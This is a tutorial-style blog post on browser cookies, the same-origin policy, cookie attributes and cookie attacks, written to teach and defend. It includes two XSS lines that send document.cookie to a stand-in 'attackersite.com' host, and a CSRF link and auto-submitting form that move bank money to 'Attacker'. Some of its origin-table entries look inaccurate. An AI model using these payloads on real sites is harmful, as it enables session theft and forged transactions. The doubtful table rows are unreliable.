Websites use cookies to manage user login sessions and sometimes tracking users’ behaviors. So, essentially a cookie is a set of key-value pair data, that is downloaded and stored in the client machines. Each cookie is created by a “website”, and the web browsers send the cookie as an HTTP header when the client accesses the website. The website can write any data to the cookie. The website code running on the web server can read the value of the cookie data and identify the user to determine the user interactions. So, what does a cookie look like? They are a simple text file that is stored in a browser specific location in the client computer.
As mentioned above the web browser would send the appropriate cookies for a website in the HTTP header. To do so, the browser follows the same-origin policy to determine which cookies to send when a website is being opened in the web browser of the client. The same-origin policy is also used by the DOM (document object model) to determine if a website can access the domain of another website (for example if a webpage host another site in an IFRAME). But there is a difference on how same-origin policy is understood by the browser DOM and while working with cookies.
Let’s take the example of this website, http://www.nerdbackbone.blog/page1.html?s=something. This address can be represented as – scheme://domain:port/path?param.
Same-origin policy for DOM
Let’s suppose as website page wats to open another webpage in an IFRAME. The parent webpage can perform some important functions on the browser such as it can read its cookies, it can redirect the browser to a different website/webpage. It can also change the location of its child IFRAME, to redirect to a different website. The browser safeguards the website the user using the same-origin policy. The DOM implements the same-origin policy with three of the properties, i.e. scheme, domain, and port. The table below describes if the browser would allow DOM access from one website to another:
Let’s assume the cookie is set by the following page – http://www.nerdbackbone.blog/page1.html. The browser would determine the following site as the same website, as they have the same scheme, domain, and port.
Website address | Access Behavior |
http://www.nerdbackbone.blog/page1.html | Allowed |
http://www.nerdbackbone.blog/page2.html | Allowed |
http://username:password@http://www.nerdbackbone.blog/other.html | Allowed |
http://www.nerdbackbone.blog:81/other.html | Not Allowed |
https://www.nerdbackbone.blog/other.html | Not Allowed |
http://subdomain.nerdbackbone.blog/other.html | Not Allowed |
http://nerdbackbone.blog/other.html | Not Allowed (missing www) |
ftp://nerdbackbone.bog/other.html | Not Allowed |
http://v2.www.nerdbackbone.blog/other.html | Not Allowed |
Same-origin policy for Cookies
This is used by the browser to determine which cookies need to be included in the HTTP header when the website is called. The browser implements the same-origin policy for cookies with these of the three properties, i.e. scheme, domain, and path. The table below describes if the browser would send the cookies when the website is accessed:
Let’s assume the cookie is set by the following page – http://www.nerdbackbone.blog/page1.html. The browser would send the cookie if it has the same scheme, domain, and path.
Website address | Sent Behavior |
http://www.nerdbackbone.blog/page1.html | Sent |
http://www.nerdbackbone.blog/page2.html | Not Sent |
http://username:password@http://www.nerdbackbone.blog/page1.html | Sent |
http://www.nerdbackbone.blog:81/page1.html | Sent (port ignored) |
https://www.nerdbackbone.blog/page1.html | Not Sent |
http://subdomain.nerdbackbone.blog/page1.html | Not Sent |
http://nerdbackbone.blog/page1.html | Not Sent (missing www) |
ftp://nerdbackbone.blog/page1.html | Not Sent |
http://v2.www.nerdbackbone.blog/page1.html | Not Sent |
Additional attributes of Cookies
Cookies have some additional attributes besides the scheme, domain, port, and path. They are:
- Secure: The “Secure” cookie attribute instructs web browsers to only send the cookie through an encrypted HTTPS (SSL/TLS) connection. It ensures that an attacker cannot simply capture the cookie values from web browser traffic.
- Expires and MaxAge: Sets the expiry date of the cookie, wherein the browser would delete on that date. Marking these fields makes the cookie a persistent cookie, as opposed to a session (temporary) cookie.
- HttpOnly: The “HttpOnly” cookie attribute instructs web browsers not to allow scripts an ability to access the cookies via the DOM document.cookie object. Without this, the cookie is susceptible to be stolen through an XSS.
- SameSite: This allows a server to define a cookie attribute making it impossible to the browser send this cookie along with cross-site requests. The main goal is mitigating the risk of cross-origin information leakage and provides some protection against cross-site request forgery attacks.
So, the scoping attributes of a cookie are the domain and path. So, if two cookies are set by login.site.com with the following attributes –
- Cookie 1: name=userid, value=user1,domain=site.com, path=/,secure
- Cookie 2: name=userid, value=user2,domain=.site.com, path=/,non-secure
When a user accesses the following pages:
- https://account.site.com = Cookie 2 is sent
- http://login.site.com = Cookie 2 is sent
- https://login.site.com = Cookie 1 and Cookie 2 is sent
- http://someothersite.com = No cookies are sent
But keep in mind, the path attribute is for the browser to decide the cookies to send, and not for DOM. So, if there is an XSS vulnerability in the site, the attacker can execute a script in a page of the same domain to read the cookies of all the pages (path) the domain. That is, if a cookie is set by http://site.com/page1.html with the path as page1.html, the script would return cookies for all paths under http://site.com/* (as the path is ignored by DOM).
This can be mitigated by setting the cookie with the HttpOnly flag (explained below), in which an XSS vulnerability cannot take advantage of this.
Few General problems with Cookies
Server Nevers sees anything besides the cookie’s data
That is, the server only sees the Name=Value data, and the browser strips away all attributes of the cookies before sending it through the HTTP header. For example, User1 logins to login.site.com, and the website sets a cookie for *.site.com. Then User1 visit attacker.site.com, which set a new cookie for *.site.com, overwriting the original cookie, with bad data. When User1 visits login.site.com, it gets the attacker cookie, and it has no way of knowing that this is not the original cookie. So, cookies need to be scoped properly to prevent leaking.
Secure cookies are not secure
Suppose, User1 visits an HTTPS version of a website which sets a Secure and HttpOnly cookie. Then the User1 later visits the HTTP version of the website (a lot of websites run as both HTTP and HTTPS), whose traffic is intercepted by an attacker, he injects a Set-Cookie command in the response. This would overwrite the secure cookie, and the server would never know. So, an HTTPS website should never leave an HTTP endpoint accessible. If there is, it is a good idea to redirect to the HTTPS version when someone accesses the HTTP version.
Cookies have no integrity by default
The cookies are stored in the user machine and can be very easily tampered with. Anyone who has access to the machine can delete or edit the contents of the cookies. So, it is imperative to implement a checksum to the cookie. For example, in ASP.Net you can protect the cookie by encrypting it and adding integrity using the System.Web.Configuration.MachineKey.
Cross-Site Scripting (XSS)
XSS is one of the common vulnerabilities, that is used to steal session cookies. Here is how it can be done – suppose a website allows people to pass some data in an HTML text form control or through a query string. They display the content in the same or a different webpage without ensuring the sanity of the entered data. The data could be stored in the database by the website, which is displayed at a later point to the same or another user, in the same or another web page (aka Persisted XSS), the data is read from and immediately displayed in the webpage (aka DOM-XSS), or the data is sent as part of the request to server and the server returns the data in response (aka Reflected XSS). In all the above scenarios, the attacker can write a script block and send it to the webpage, which will be rendered and thus executed by the browser. The script can do a whole lot of damage, including redirect the user to another page and tricking them to enter sensitive information (e.g. credit card no, password etc.), or steal session cookies to hijack their session. They could write a simple JavaScript like below, which will leak all the cookies to the attacker, and the attacker can impersonate the user to do bad things. The below scripts are examples of those:
document.getElementById("myImg").src="http://attackersite.com/noimage.gif?cookie=”+document.cookie;
Or
window.location='http://attackersite.com/?cookie='+document.cookie
This issue is further elevated if the website doesn’t handle session cookies properly, that is, they should always invalidate the cookie once the user logs out, or if a user changes their role from an anonymous user to an authenticated user, a new cookie should be issued and honored.
There are different mitigation for XSS, and in terms of cookies, the cookies can be set HttpOnly to ensure the DOM cannot read it, i.e. the document.cookie cannot read it.
Cross-Site Request Forgery (XSRF or CSRF)
XSRF is another form of attack that doesn’t try to steal the cookies but rather forces the user to send a valid cookie to the web page to perform an action of the attackers choice. This is how it works – the attacker can trick a user to click on a link or open a page which would perform an HTTP GET or POST. This is usually done through social engineering or by embedding these scripts/pages in emails, online forums etc.
Let us take an example of a scenario, where User1 is sending money to User2 through a bank web page. A valid request to the server could be http://awesome_bank.com/send_money?to=User2&amt=1000.
In the GET method, the attacker can trick a user to click on a link whose description might seem inconspicuous, but the actual link would be different. For example:
<a href="http://awesome_bank.com/send_money?to=Attacker&amt=1000">You won $1 million, click here to redeem it</a>
In the POST method, the attacker can send an HTML email or make the user visit a web page, which has the following code:
<body onload="document.forms[0].submit()">
<form action="http://awesome_bank.com/send_money" method="POST">
<input type="hidden" name="to" value="Attacker"/>
<input type="hidden" name="amt" value="100000"/>
</form>
</body>
Since the original user is logged in when they performed these operations, the session cookie would be included in the HTTP header, and the web server would perform the operation successfully as it doesn’t know that the request actually originated outside its page.
There are several mitigations for this attack, but from the cookie perspective, the SameSite flag ensures that the cookies are only sent if the site is same as the one who set the cookie.